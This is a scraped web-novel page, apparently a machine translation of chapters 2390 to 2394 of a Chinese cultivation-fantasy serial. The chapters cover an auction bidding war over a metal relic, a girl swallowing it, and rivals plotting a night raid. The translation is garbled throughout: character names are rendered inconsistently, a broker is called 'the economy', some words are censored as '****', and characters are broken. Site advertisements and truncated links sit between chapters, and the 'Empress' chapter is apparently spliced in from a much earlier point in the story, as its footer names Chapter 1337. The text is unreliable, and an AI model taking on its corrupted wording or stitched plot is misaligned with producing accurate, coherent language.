    At this moment, an auction is just halfway through, but it can be seen that the auctions were not precious objects. The atmosphere in the venue was very relaxed, and many people were whispering.


    In fact, this is the daily state of auctions, after all, not every auction has explosives.


    In many cases, people who come to participate in this Tianhe auction just use it as a platform for exchanging information and observing prices.


    Si Mingqi has naturally participated in Tianhe auctions. Although it is not this planet, because of the chain nature, almost all Tianhe auction houses are similar, so he is no stranger to this place.


    However, his attention was not focused on the items on the auction stage in front, but kept looking at the boxes behind.


    He was certain that Mo Changhong must be leading the little girl in a certain box.


    But it was just affirmation, he didn''t know which box he was in.


    Thinking of this, he pondered for a moment, then waved.


    An auctioneer in charge of the lobby walked over.


    "What''s your command?" The economy asked with a smile.


    "Are there any hard goods today?" Simingqi asked.


    "Which aspect and what standard do you mean?" the economics asked very professionally.


    "It''s the existence that can make the heart beaten by the powerful!"


    The economy shook his head without even hesitating, "No, today��s auction is just a regular meeting, and there are not many bright things. After all, the rally is about to be held, and many buyers and sellers are ready to do so. Shot, so the trading market has been deserted a lot!"


    Siming Qi nodded, then threw a piece of broken crystal.


    "Thank you!"


    "Good luck, my lord!"


    With that, the economy turned around and left.


    Si Mingqi can now be sure that there is nothing inside the auction.


    Because the economy of these auctions is based on this, they will know if there is any insider information.


    As for the so-called leaking, that kind of thing simply does not exist in this Tianhe auction house.


    After all, it is not ordinary people who can appear in this venue, but these people will not let go of anything that is auctioned off.


    Thinking of this, Siming Qi relaxed and leaned back on the chair.


    "Pay attention to the box behind!"


    "Yes!"


    At the moment when Siming Qi and the others entered the auction room, they were in a VIP room at the back.


    Mo Changhong looked at the auction catalogs boredly, "Little Calabash, you suddenly brought everyone in here, just to see these rags?"


    Little Gourd didn''t say a word, but stood in front of the floor-to-ceiling windows and stared at the auction platform in the distance.


    The auction items were presented one by one like flowing water, and some were bought, but more were still unattended, and the auction was eventually taken down.


    It can be seen that even the auctioneer in charge of this auction is somewhat absent-minded.


    Not to mention the atmosphere of the whole scene.


    But at this moment, as a selling item came on stage, Xiao Hulu''s eyes trembled suddenly, and then he raised his hand.


    "Buy it!"


    The voice was crisp and clear.


    Mo Changhong immediately looked up, but saw that a piece of gray metal was placed on the auction stage.


    It looks like it''s on a certain item, but it seems to be a little broken.


    Almost no one takes a second look at such things on the street, let alone in this auction venue.


    Therefore, even the auctioneer has weakly introduced: "A piece of metal that is unclear about its origin and purpose. It has a special nature and seems to be a legacy of alchemical civilization!"


    The existence of alchemy civilization is not a secret in this outer sky.


    And the things left over are countless, so this kind of introduction did not arouse people''s interest at all.


    Some people even yawned boredly, UU reading www.uukanshu. com whispered: "It seems that Tianhe really has nothing to shoot this time. Even scraps of copper and iron have been put on the auction platform!"


    "Who said no, no one wants this stuff, and auctions are a waste of time!"


    At this moment, I heard the auctioneer raise the volume slightly.


    "The reserve price is ten spirit crystals, now we start shooting!"


    The voice of the audience remained the same, and people didn''t care about this thing.


    But at this moment, a red sign suddenly stood up in a box behind.


    This means buying!


    "Well, an adult in the box bids ten spirit crystals to buy this lot. Is there any increase in price?" the auctioneer asked routinely.


    There was no reaction from the audience. Someone laughed and said, "Hehe, except for some big people who are idle, who would be interested in such a tattered? After all, ten spirit crystals are also money!"


    But Simingqi was shocked suddenly, because he faintly felt that this thing seemed a bit weird, so he also raised the sign without hesitation.


    "Okay! There is another gentleman here who bids 20 spirit crystals. Is there any increase in the price?" The auctioneer woke up from sleepiness, and his voice became a lot louder.


    Because this is the first time someone bids in this field.


    But as soon as he finished speaking, a blue card was suddenly erected in the back box.


    "The adult in the box will increase the price of one hundred spirit crystals at one time, and now he is bidding 120 spirit crystals. Is there any price increase!"


    As soon as this remark came out, there was a commotion in the audience.


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel network, there is no advertisement in the site, please collect and recommend it!


    I like Invincible, and please collect it from Dad of Xianzun.

 Chapter 2390： Fierce bidding

    "Invincible, start with Dad Xianzun (!


    "What is the situation, is there anything special about this piece of scrap copper? Otherwise, why is there such a fierce bidding suddenly?" Someone exclaimed.


    There are many people who are even more stunned, staring at the metal component on the stage, with a contemplative expression on their faces.


    As I said before, those who can appear here are not the easy generations, among them there are no shortage of Zhibao people, but even so, they can''t see that this metal component has any special features.


    Siming Qi was also at a loss.


    He thought this thing was just a bit weird, so he raised a placard to bid, but he didn''t expect the person in the box to shoot so hard, so he directly added a hundred spirit crystals.


    Although this is not a huge sum of money, it is not something ordinary people can afford.


    But soon he calmed down, and then he didn''t hesitate to raise the card again.


    Since the people in the box are willing to pay such a high price for this piece of metal, it proves that it is indeed extraordinary.


    For this reason, Simingqi did not want to lag behind.


    But just as he was about to raise the card, another sign was suddenly erected in another box.


    A cyan sign.


    As soon as he saw this brand, the auctioneer''s voice suddenly increased a few times, and he shouted excitedly: "This adult in the box No. 7 of Tianzi directly increased the price of five hundred Lingjing. Is there any other bid?"


    In an instant, the court calmed down.


    If people just thought that the 120 spirit crystals were a bit exaggerated, then this direct price increase of 500 has shocked many people.


    Including Siming Qi, all looked stunned.


    Who is bidding this again?


    In the box, the old **** was there, and Mo Changhong, who was waiting for the bid to be successful, also sat upright, looking through the glass window to the bidding box No. 7 of Tianzi.


    "Just increase the price by five hundred, this is clearly to be against us! But who is this person?" Mo Changhong muttered with a bad look.


    To be honest, the price of six hundred and twenty spirit crystals has far exceeded her psychological price.


    In her opinion, such a piece of broken copper and rotten iron is worth at most a piece of spirit crystal.


    What''s more, even as the treasurer of the medicinal food shop, it is more difficult for her to take out a few hundred spiritual crystals at once.


    So she hesitated.


    But at this moment, Xue An on the side suddenly raised a sign.


    A lavender sign.


    All of a sudden, the voice of the auctioneer on the stage trembled.


    "The adult in the box has increased the price again, and this time he has directly added a thousand spirit crystals. The total price is now 1,620 spirit crystals. Is there any price increase?"


    There was a tsunami-like noise from the mountains.


    "Oh my god, what''s going on today? A piece of broken copper and broken iron was sold at such a high price?" Someone exclaimed in disbelief.


    "Compared to this, I am more concerned about who the people in the two boxes are. After all, it is obviously not an ordinary person to have such a big deal!"


    And this price also made Si Mingqi and many people who were still eager to try before, and tried to bid, all died down.


    Without him, the price is really too ridiculous.


    It was so outrageous that they dispelled the thoughts in their hearts.


    Simingqi gave a wry smile, no matter how strange this thing was, he could only give up.


    After all, the financial power of the Si family is not in his hands, and it is impossible to afford more than a thousand spirit crystals with his own savings. Although the reputation of the Si family can overdraw part of the spirit crystals at the Tianhe auction house, But Siming Qi is very clear.


    If you really dare to spend a fortune to buy this piece of "scrap copper and rotten iron".


    After going back, the Patriarch and the elders will surely let themselves make a perfect explanation.


    And if this thing is really useless, then you can''t eat it.


    Moreover, the bidding is far from over now, and Si Mingqi is not sure what price it will reach.


    really.


    He heard a cold snort from the box No. 7 of Tianzi, and then someone raised the placard again.


    The same lavender brand.


    The audience was silent, and even the auctioneer was taken aback.


    He thought it was already a sky-high price for this thing to sell more than a thousand spirit crystals.


    But I didn''t expect that the people in the No.7 box of Tianzi seemed bound to get this thing, and directly added a thousand spirit crystals.


    The current price has reached two thousand six hundred and twenty spiritual crystals.


    This price can already buy an intact alchemy armor.


    So even the auctioneer couldn''t help lowering his voice.


    "Now I offer two thousand six hundred and twenty spiritual crystals, but is there any price increase?"


    In his opinion, this auction is definitely over.


    really.


    The box where the price was first shouted fell silent.


    The auctioneer could not help but let out a sigh of relief.


    Okay, it''s finally over.


    Who would have thought that such an explosive product would appear in this seemingly unremarkable auction?


    But this lot alone is enough to give myself a generous commission.


    Thinking of this, a faint smile appeared on the face of the auctioneer.


    But just when the smile on his face was halfway through, a dark green sign suddenly stood up in the box where the price was first offered.


    After seeing this sign, the hammer in the hands of the auctioneer fell to the ground.


    Because this brand is already the highest-grade price tag in this auction house.


    Its appearance means a price increase of 10,000 Lingjing!


    At this time, the eyes of the audience were also attracted by this dark green brand.


    In an instant, there are those who are shocked, those who are incomprehensible, and those who are silent and contemplative.


    In the box, Mo Changhong couldn''t help being shocked when he saw the sign in Xue An''s hand.


    "What are you doing? Didn''t you just give up?"


    At first, when Mo Changhong saw that Xue An didn''t respond, he thought he was going to give up, but he didn''t expect him to bid again, and it was still such a crazy bid.


    Xue An smiled, "Sorry, I just delayed it because I didn''t find this brand!"


    Mo Changhong: "..."


    "Now... Now, the second box of Dizi is bidding... 12,620 spiritual crystals. Is there any increase in the price?" The auctioneer shouted weakly.


    Not to mention the price on this planet, even in the entire Tianhe auction site, it is considered extremely high.


    The key is to buy a piece of "broken copper and rotten iron" that no one can tell. UU reading is too incomprehensible.


    Many people looked at the Tianzi No. 7 box, after all, he had been bidding with the Dizi No. 2 just now.


    Si Mingqi is naturally no exception, he is calculating this whole thing.


    Who is Mo Changhong among these two boxes?


    At the same time, in this Tianzi No. 7 box, a young man suddenly smashed the wine glass in his hand.


    "Asshole, you dare to bid with me like this to find out who the person in that box is!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2390 Fierce Bidding), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2391： Successfully photographed

    A housekeeper standing behind the young man led the way.


    The young man''s anger remained unresolved, and he looked at the metal component outside the glass window that had already been hammered down, without saying a word.


    A beautiful woman next to her gave a chuckle when she saw it, and then stretched out a pair of delicate hands to refill the young man with a glass of wine.


    "Why is Shao Lian so angry? Come on, calm down with a glass of wine!"


    The young man turned his head and glanced at the woman, then suddenly wrapped her in his arms, and smashed his hands severely.


    After her hair was scattered and panting, the young man released her hand and leaned against the chair with a gloomy expression.


    The woman leaned on his shoulder lazily, and said in a coquettish tone: "Lian Shao, what''s the matter with you? Why are you so concerned about that piece of broken copper?"


    "What do you know? Although others don''t know that thing, I can see that it is clearly a component of a certain armor suit, and how precious an alchemy armor suit is, presumably I don''t need to say more! "


    The woman''s eyes flowed, and she nodded her head seemingly, "It turns out that it is, the people in the box opposite obviously also know this? No wonder they would **** that thing from Lian Shao you!"


    The young man sneered, "What if I know? On this planet, I don''t even get what Yu Ting wants!"


    While talking, the housekeeper who had gone out before returned.


    "How? Did you find out who it was?" Lian Yuting asked in a deep voice.


    "Hui Lian Shao, I just asked, and found that after the auction had started, a total of two groups of people entered the venue, one of which was from the Si family, but I found that they were sitting in the hall. As for the other wave..."


    "Who is the other wave?"


    "One of the other people in the group is Mo Changhong, the shopkeeper of the medicinal food workshop here!"


    "Mo Changhong?" Hearing this name, Lian Yu Ting suddenly sat up, his face turned very ugly.


    "Are you sure?"


    "It''s already confirmed, it''s her!"


    "If it were her, this would be a bit difficult!" Lian Yu Ting stood up, walking around with a gloomy expression.


    According to his assumption, he originally intended to intercept and **** on the way home after finding out who the other party was.


    But if the other party is Mo Changhong, then you can''t do this.


    Lian Yu Ting still has this self-knowledge.


    Even if Lianjia had a great influence on this planet, it was still far worse than the backstage of the Medicinal Food Workshop.


    But if he just let it go, he felt a little unwilling.


    While he was hesitant, suddenly, another housekeeper hurriedly walked into the box.


    "Lian Shao, a letter from the Patriarch!"


    "Huh? Why did I write a letter just after I came out?" Lian Yu Ting was a little confused.


    The housekeeper stepped forward and murmured something in Lian Yuting''s ear.


    After Lian Yu Ting finished listening, the anger on his face instantly dissipated, replaced by excitement and joy.


    "This is real?"


    "The Patriarch personally ordered it down, how could it be fake!"


    "This is great. When these distinguished guests arrive, I see who dares to be rampant, as for what Mo Changhong...not to mention!"


    Lian Yu Ting happily happily, suddenly thought of something, "When will the distinguished guest arrive?"


    "They had already left when they received the news, and they should arrive soon!"


    "Okay! It''s too late, let''s go back and prepare!"


    With that said, Lian Yu Ting turned around and left, without the slightest nostalgia.


    As for the other subordinates, they left behind.


    The woman stood up in a daze, and after hesitating for a moment, she followed.


    The people from Lian''s family just left.


    In the second box of Dizi, Mo Changhong looked at Xue An in amazement.


    "What''s wrong? Why are you looking at me with such a look?" Xue An said lightly.


    Mo Changhong took a deep breath, "It''s nothing, I just want to see what a local tyrant who can take out more than 10,000 spiritual crystals at random looks like!"


    Xue An smiled faintly, "Do you see it clearly now?"


    "Well, see clearly!" Mo Changhong nodded.


    "Then go!"


    Xue An got up and went directly to the backstage of the auction house through the VIP passage in the box.


    now.


    Including this auctioneer, many people from Tianhe Auction House are eagerly waiting here for Xue An''s arrival.


    When Mo Changhong and his party walked into the backstage, the auctioneer immediately greeted him and said with a smile on his face: "Mo shopkeeper, I didn''t expect you to be so interested in this alchemy artifact. I just installed everything. , Do you want to take it now?"


    Mo Changhong coughed slightly, and then pointed to Xue An on the side, "I think you must have made a mistake. It is not me who photographed this thing, but him!"


    The auctioneer was stunned.


    He had received news before that the person who said that it was the second box of Dizi was Mo Changhong, the shopkeeper of the medicinal restaurant here.


    This naturally made him mistakenly believe that Mo Changhong bought this item.


    Unexpectedly, the buyer was someone else.


    But who is this boy in white?


    I haven''t seen it before!


    The auctioneer thought about it, but the smile on his face grew brighter.


    "It turns out that this young man bought it. This is really..."


    Before he could finish his polite remarks, Xue An threw a storage ring directly.


    "Okay, let''s hand over!"


    The auctioneer immediately closed his mouth obediently.


    It can be seen that the young man in white obviously dislikes his politeness.


    Therefore, he simply finished the handover of the relevant affairs. UU Reading www.uukanshu.cOM


    Then handed the box containing the components to Xue An with both hands.


    After Xue An got the box, he turned around and left without stopping for a moment.


    This also made me want to talk a few more words, even if it is to leave a contact information, so that the person in charge of the auction will be a little confused in the future.


    He has never seen such a cold guest.


    In fact, he also misunderstood Xue An.


    The reason why Xue An was in such a hurry was actually because he felt the danger around him.


    Even though Lian Yu Ting''s eye-catching eyes were blocked by the box formation, he still felt it.


    Although the feeling of being spied on disappeared again, Xue An decided to leave this place of right and wrong as soon as possible.


    It��s not afraid, it��s just that I don��t want to get involved in these things too much.


    Soon, Xue An walked out of the Tianhe auction house with Xiao Hulu and two daughters.


    "Where are you going now? Should you go back to me first?" Mo Changhong asked.


    Xue An shook his head, "No, Cha Wenliang has already returned to the hotel to wait for us, so let''s leave!"


    "Well then, if you have anything, you can come to the medicated restaurant to find me at any time!"


    Mo Changhong reluctantly said goodbye to Xiao Hulu and missed him, and then left.


    But Xue An led the crowd back to the hotel. As soon as he entered the room, Xue An set up layers of arrays to isolate the surroundings.


    Then he took out the lot and handed it to the little gourd who was already eager to try it.


    "This is the thing you want! Open it and have a look!"


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel website, there are no ads in the site, please collect and recommend!


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2392： Non-human, non-demon

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    The small gourd took the box, opened it directly, took out the piece of metal inside, and swallowed it in one mouthful without hesitation.


    The whole process was so fast that it was too late to react.


    After people realized what had happened, the piece of metal had entered the little gourd''s belly.


    "My God, doesn''t she need to chew this kind of food? How good is this tooth?" Ao Shu said in surprise.


    Upon seeing this, An Yan couldn''t help asking with great concern: "What about the little gourd, are you okay!"


    As soon as the voice fell, I saw Xiao Hulu blinking at everyone, and then he leaned back and fell to the ground with a plop, unconscious.


    This shocked everyone present.


    Miss Miss Nian immediately rushed up.


    "Gourd, what''s the matter with you, gourd? You wake up, gourd! You can''t die, gourd!" Niannian shook the little gourd and said repeatedly in her mouth.


    Think about it, although there are not so many words, but it is also anxious and concerned.


    At this moment, Zha Wenliang came forward, checked Xiao Hulu, and then shook his head in surprise.


    Nian Nian''s tears burst into her eyes.


    "Grandpa Cha, is she dying? Oh, poor little gourd, how could you just die like this? I told you before that you don��t want to worry about eating, but you don��t listen. Okay, choke yourself alive!"


    Nian Nian mumbled no, but he couldn''t help but said: "Nian Nian, who told you that she was dead?"


    "Huh? Not dead?"


    "Of course not dead, she just went to sleep in a deep sleep! If you don''t believe me, listen."


    Everyone calmed down and listened.


    really.


    From the little gourd''s mouth, there was a soft snoring sound, and he was really fast asleep.


    Nian Nian wiped away her tears, and said angrily: "Then what are you doing while sighing and shaking your head? Of course this will make me think about it!"


    Cha Wenliang was ridiculous, "I shook my head for some other reason! Why is it still dependent on me?"


    "Then I don''t care, it''s because of you that made me cry, you pay for my tears!"


    "How can I pay for my tears?"


    "Then you cry too!"


    Two people, one old and one young, started to quarrel, but no matter what, Xiao Hulu was fine, and everyone let go of their hanging hearts.


    An Yan took the little gourd into the room, put it on the bed, and covered her with a quilt before retreating.


    At this time, Nian-Nian and Cha Wen-liang were still bickering.


    But from the smile on Cha Wenliang''s face, he seemed to enjoy this feeling.


    After laughing and making trouble for a while, after successfully "blackmailing" many gadgets, thinking and Nian Nian left with An Yan contentedly.


    Upon seeing this, Ao Shu shrugged and went back to the room.


    When Xue An and Cha Wenliang were left in the courtyard, the smile on Cha Wenliang''s face gradually faded, and then he said to Xue An very solemnly.


    "Xue An, what do you plan to do with this little gourd?"


    "Oh? Why do you suddenly ask?"


    "Because I discovered that this little gourd is very peculiar. When I checked her body just now, I found that she is neither human nor monster, nor ghost nor monster. If she is a artifact, she should also have a spirit!"


    "But I didn''t see anything in her sea of ??consciousness! You must know that this kind of situation will only happen to the dead, but Xiao Hulu has a clear self-awareness and even speaks. This is something I have never encountered before. Past situation!"


    Xue An took a deep look at Cha Wenliang, and then chuckled softly: "It seems that you have already seen it. That''s right, this little gourd is really not an ordinary existence! It can be said that she should have been created artificially."


    Cha Wenliang was shocked, and blurted out: "Is it just like we created the soul before?"


    "Some are similar, but not exactly the same. In fact, I am not entirely sure how she was created, but one thing is certain!"


    Xue An raised his head, looked at the distant sky, and said lightly: "Her origin must have a close relationship with the disappeared alchemy civilization!"


    Cha Wenliang moved his mouth, trying to say something, but in the end he closed his mouth again.


    At the same time, in the medicated food workshop, Mo Changhong walked into his room as usual.


    The moment she closed the door, layers of magic arrays completely isolated the room to ensure that any information inside would not leak out.


    Then Mo Changhong came to the vanity mirror and waved his hand, there were runes on the vanity mirror. When the brilliance gathered together, all sorts of mysterious scenes began to appear in the vanity mirror.


    Mo Changhong has long been accustomed to this, just waiting calmly.


    In the blink of an eye, those messy scenes began to dissipate, and then a huge palace appeared inside.


    In the middle of the palace is a high platform, before the high platform is surrounded by layers of curtains, you can''t see the scene inside, you can only vaguely see many lights swaying inside.


    Seeing this scene, Mo Changhong immediately knelt on one knee, and said with an extremely respectful expression: "Mo Changhong, a humble post, has seen the Lady Empress!"


    There was peace in the mirror image, and a cold and noble voice came after a while.


    "Get up!"


    "Yes!"


    Only then did Mo Changhong dared to stand up.


    "Is there anything unusual on your side recently?" The voice came again.


    "My Lady Hui, it was true that everything was business as usual before, but today there is a little situation!"


    "Oh? What''s the situation?"


    "That''s it. Today I was guarding the medicated food workshop..."


    Mo Changhong recounted how he met Xue An and the confrontation with the Si family.


    After listening, there was silence on the mirror side.


    Mo Changhong went on to say, "My Lady Empress, I think this is definitely a bit weird. The Si family is obviously very interested in the little girl. If it weren''t for the reputation of our medicated food shop, they would probably do it on the spot. Up!"


    "Sijia...hehe, they suddenly acted on a small family Loujia in the Pharmacist Alliance some time ago, under the banner that Loujia had been disrespectful to them, UU read and stole their pill. , But it��s never that simple in reality!"


    Speaking of this, the voice sneered, "How can the old fox Si Daoyuan be in a loss-making business? So if I guess correctly, that little girl is probably the person they are looking for!"


    Mo Changhong nodded, "I think so too, so I have secretly explored the fiction and origin of this little girl, and found that..."


    "Find what?"


    Mo Chang''s red face was stunned and confused, "I found that she has no heart and lungs, even a soul, and no concept of right and wrong, but it can be seen that she is very smart and intelligent!"


    Hearing this, the voice was slightly taken aback, even if he thought of something, he sighed lightly.


    "Does non-human and non-demon wisdom exist?"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2392 is not human or demon (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2393： Empress

    "Invincible, start with Dad Xianzun (!


    boom!


    With the disappearance of this female emperor, the sky full of black clouds quickly dissipated at a speed visible to the naked eye, and the Heaven Extinguishing Lock that originally sealed the entire cave sky disintegrated in an instant.


    After this series of great changes, everything finally returned to silence.


    And this first cave sky has been restored as before!


    All the people who witnessed the whole process were dumbfounded, because at this moment they had fallen into deep self-doubt.


    Because they couldn''t believe it, all of this would actually be true.


    Known for her ferocity and cruelty, and even the Demon Empress, who has left extremely tragic records in the history of the Seven Caverns, actually died like this?


    And he broke himself in front of this white-clothed boy!


    If this matter was told to everyone present before today, no one would believe it.


    Because this is really incredible.


    But now, all of this is happening in front of everyone.


    Just when everyone was in shock and couldn''t help themselves.


    Xue An raised his head and gave a cold smile somewhere in the void.


    "Is that so? Old friend, it seems that not only me, but your reputation has already had a serious problem!"


    Xue An whispered softly, and a meaningful light flashed in his eyes.


    At the same time, a torrent of countless brilliance appeared from the distant sky, and rushed here mightily.


    Seeing this scene, the swords and the others were all shocked, and then there was a surprise on their faces.


    Because they can feel that the dozen sword lights rushing in the front are not their disciples?


    In an instant.


    Man Tian Guanghua had already rushed to the front, and after standing still, it was Tian Yuanqing and the other six people in the cave.


    These people have come long distances, but everyone''s faces are full of fighting spirit.


    Especially the headed Tian Yuanqing, Nian Xuexin and others are even more anxious.


    Although Xue An has already taken the first step back, in the eyes of Tian Yuanqing and others, no matter how strong he is, there is only one person. If he wants to destroy the coming Demon Empress, he still has to rely on everyone''s joint efforts.


    So on this road, they can be said to be back home, wishing to fly back to Jianzhou directly.


    But when they arrived here, Tian Yuanqing and the others were suddenly shocked to find that their master and others were all standing on the ground. Although they looked sluggish, they were all safe and sound!


    Only Elder Shechem is missing from the five uncles!


    How is this going?


    This question has just risen from the hearts of everyone, Nian Xuexin can''t help but ask Xue An: "Mr. Xue, you came back early? Where is the demon empress now?"


    "Yeah! Isn''t the empress coming yet? This is just right, we can also form a defense first!" Fang Xing''an couldn''t help but breathe out.


    Only Tian Yuanqing did not speak, because he was looking at the big hole on the ground in a daze.


    Xue An shrugged, and said calmly: "You don''t need to look for that empress anymore, she is dead!"


    "Dead?" Everyone''s eyes widened instantly.


    Xue An nodded.


    "What about the corpse?" Nian Xuexin still couldn''t believe it.


    Xue An pointed to the huge bones on the ground, "Here, it''s all over the floor!"


    All of these people who rushed in were instantly plunged into deep self-doubt.


    You must know that they are ready to fight hard, and some people are even ready to sacrifice themselves to stop the demon invasion.


    But I didn''t expect this Xue An to come so long in advance, and actually wiped out this notorious Demon Empress!


    No one dared to doubt the authenticity of all this, because the expressions on Jian Xiu''s faces standing on the ground had already told them that everything was true.


    Nian Xuexin''s mouth opened slightly, looking at this smiling Xue An, the shock in her heart was beyond words.


    Because she suddenly discovered that Xue An''s body was shrouded in countless mysteries.


    Especially his strength, how tyrannical he must be to destroy a demon empress in such a short period of time!


    As for Sheng Miaotong, who also came with the team, he looked at Xue An blankly, his thoughts undulating like waves.


    From the curiosity of the first acquaintance to the admiration of the latter, to the present, Sheng Miaotong suddenly discovered how ridiculous his and his father''s previous thoughts were.


    It''s ridiculous like an ant on the ground speculating about a dragon in the nine heavens.


    In the end, Sheng Miaotong slowly lowered his head and hid some feelings deeply into the deepest part of his heart, without any extravagant hopes.


    At the same time, an invisible black shadow was quietly concealing into the void.


    Xue An''s eyes flashed and said lightly: "What? Do you want to leave now?"


    As he said, he waved casually.


    The black shadow that had been hidden into the void instantly appeared, and then he was dragged to the front of Xue An by Shengsheng.


    Before Xue An could speak, a tragic begging for mercy came from the shadows.


    "My lord is forgiving! Your lord is forgiving!"


    As he said, the shadow was shaking tremblingly, as if he had been frightened and was about to collapse.


    In fact, the entanglement at this moment is indeed going crazy.


    On the way here, because everyone was slow, Xue An took the first step and headed to Jianzhou alone.


    I don''t know if it was intentional or forgotten, Xue An actually left behind the sealed stray soul.


    Youcang was ecstatic, but instead of trying to escape, she came with the team.


    Because in her opinion, this Xue An was purely looking for death, and even dared to fight against the Empress, and even went to Jianzhou single-handedly. She really didn''t know how to write the word for death.


    As a demon under the command of the female emperor, coupled with the hatred of being bound by Xue An''s seal, she naturally wanted to follow along to see what happened to Xue An.


    However, she never expected that after she came here, she would be extremely shocked to find that the Sky Extinguishing Lock was gone, and the black clouds all over the sky were gone, and even the breath of the Empress had disappeared.


    The only thing left is the bones all over the floor.


    And when you take a closer look at these bones, this lingering fright almost explodes directly.


    Because these white bones are impressively the body in the second form of the Empress.


    Suddenly a terrifying thought arose in Yu Tang''s heart.


    And what Xue An said later also proved her guess.


    The female emperor really died, died in the hands of this white-clothed boy.


    Panicked, Youxuan began to hide behind silently. UU read www.uukanshu. com tried to escape.


    But I never expected that all the calculations were still in vain.


    Xue An looked at the trembling black air, and suddenly smiled, "Spare you?"


    "Yes, yes, yes! My lord, I know many things that can help you enter the ghost world, just beg you to let me go!" Youchan pleaded.


    Xue An stretched out his hand and gently rubbed the surface of the black air. Every time he touched it, Youxuan would tremble with it, but he did not dare to resist the slightest.


    "It sounds good!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record this time (Chapter 1337 Where is the Empress? Dead! Where? It''s all over the ground! (first update)) to read the record, and you can open the bookshelf next time To!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2394： Hands on tonight

    "Hmph, I have never seen the world. Let me tell you the truth. This Shen Gaoge''s strength in the Shen family is not the top one. The most powerful second son Shen is still practicing in retreat. If he comes, it is estimated that the whole pharmacist No one in the league is his opponent!"


    Speaking of this, Su Fei looked proudly surprised.


    "If it weren''t for me, would such a character stay at your Lian''s house?"


    Lian Yu Ting nodded again and again, his face was flattering.


    "Yes, yes, all this is due to your face, Su Shao, if I can cling to the big tree of the Shen family, I will have to thank you!"


    "Hmph, let alone those useless, I''m almost exhausted along the way, quickly find a place for me to rest!"


    "Yes, yes! It''s already been prepared for Su Shao, please here!"


    Lian Yu Ting nodded and bowed before leading the way, and soon brought Su Fei Jing to a magnificent place.


    After seeing the extravagant furnishings and the delicious wine and food on the table, Su Fei nodded in satisfaction.


    "Yeah! Well done!"


    "Hey, what is this, look at this!"


    As he said, Lian Yu Ting clapped his palms mysteriously.


    In an instant, there was a sound of footsteps from behind the curtains of the room, and then a team of women came out together.


    These women are all dressed in revealing clothes, and all of them have good looks.


    "Shao Shao, these are all specially prepared for you, are you still satisfied?" Lian Yuting smiled.


    Seeing this scene, Su Fei couldn''t help but pleased his eyebrows, and then patted Lian Yuting''s shoulder again.


    "Good! Good! You really are a wonderful person, you have a heart!"


    With that, Su Fei''s shocked eyes were almost full of light.


    During this period of time, he was really frustrated. First, he went to Luoshengu to eat a closed door, and when he came back, he went to Shen Jiazhuang''s grandson. Even on the way, he had to serve Shen Gaoge carefully, for fear of angering this again. A killer.


    As a result, this also caused the string in his head to keep taut. Until today, seeing so many beautiful wine lovers, did he find the feeling he had before.


    "Shao Shao is polite, then I won''t bother you to rest!"


    With that said, Lian Yuting walked out with a smile on his face.


    The moment the door closed, the smile on Lian Yu Ting''s face instantly disappeared without a trace, then he straightened his body and commanded in a cold voice.


    "Be optimistic about this place, no matter if there is any noise inside, you are not allowed to enter!"


    "Yes!"


    Then Lian Yu Ting strode away.


    He is very busy now, because he has to find the person whom Shen Gaoge said within three hours.


    But his heart is fiery.


    Because if you can really get along with the Shen family through this incident, it will be a great thing for yourself and even the entire Lianjia.


    Speaking of this, we must first briefly introduce the relationship between Lianjia and Su Feijing.


    Lian Yuting was surprised by Su Fei who met in a very accidental situation.


    When he learned that Su Fei was shocked by the famous Su Family Young Master, his attitude immediately became hot, and he began to greet him deliberately in order to be able to climb the big tree.


    After all, even the power of the family is not at the top in this pharmacist alliance, let alone in this huge sky.


    So there is an urgent need to reach an object that can be attached to.


    Su Fei was surprised to also enjoy Lian Yu Ting''s unrestricted flattery, so the two quickly became hot.


    Later, Lian Yu Ting often gave Su Fei surprises, so that he would not forget himself after he had a good deed.


    But this time it happened that Su Fei and Shen Gaoge were coming to the Pharmacist Alliance, so he sent a message to Lianjia in advance, asking them to receive them well.


    Lian Yu Ting couldn''t help being ecstatic when he learned that it was a descendant of the Shen family who had a higher status and stronger strength.


    This is also the reason why he uttered wild words at the auction before.


    At this moment, his heart was full of enthusiasm, and he immediately mobilized the connections and resources of the entire Lianjia family, and began to trace the person Shen Gaoge was looking for.


    At the same time, in a hotel in the city, Siming Qi was frowning and looking at the map on the table.


    The map shows the detailed architectural distribution of the entire Yangcheng County, and just above the inn where Xue An and others stayed, a circle was redrawn with red pen.


    Si Guangzhong didn''t dare to say anything, just watching Si Mingqi circling the map in a circle.


    Suddenly.


    Si Mingqi stopped and slammed the table.


    "I''ve decided, I''ll do it tonight!"


    "Do you want to do it?" Si Guangzhong asked.


    "Yeah!" Si Mingqi nodded heavily, and said with cold light: "I have a hunch that tonight will be our last chance. If you miss tonight, you will never want to get that thing! "


    Si Guangzhong couldn''t help showing a fierce light when he heard this. After all, he was the first to handle the Loujia incident, and now he may not have a chance to get it, so he is naturally full of anger.


    "Okay, then do it tonight!"


    "But we have to plan in detail before we start, and we can''t act rashly, otherwise it''s easy to fail!"


    "Well, I''ll listen to you this time, do whatever you tell me, the only thing I want is the life of that kid and that little bitch!"


    Si Guangzhong remembered Xue An''s sword revenge and Hulu''s brutal and inhuman beating in front of so many people.


    In this murderous situation, a careful planning began.


    And the beginning of everything must start from the time when the lanterns first appeared.


    When night fell, Yangcheng County lit up thousands of lights.


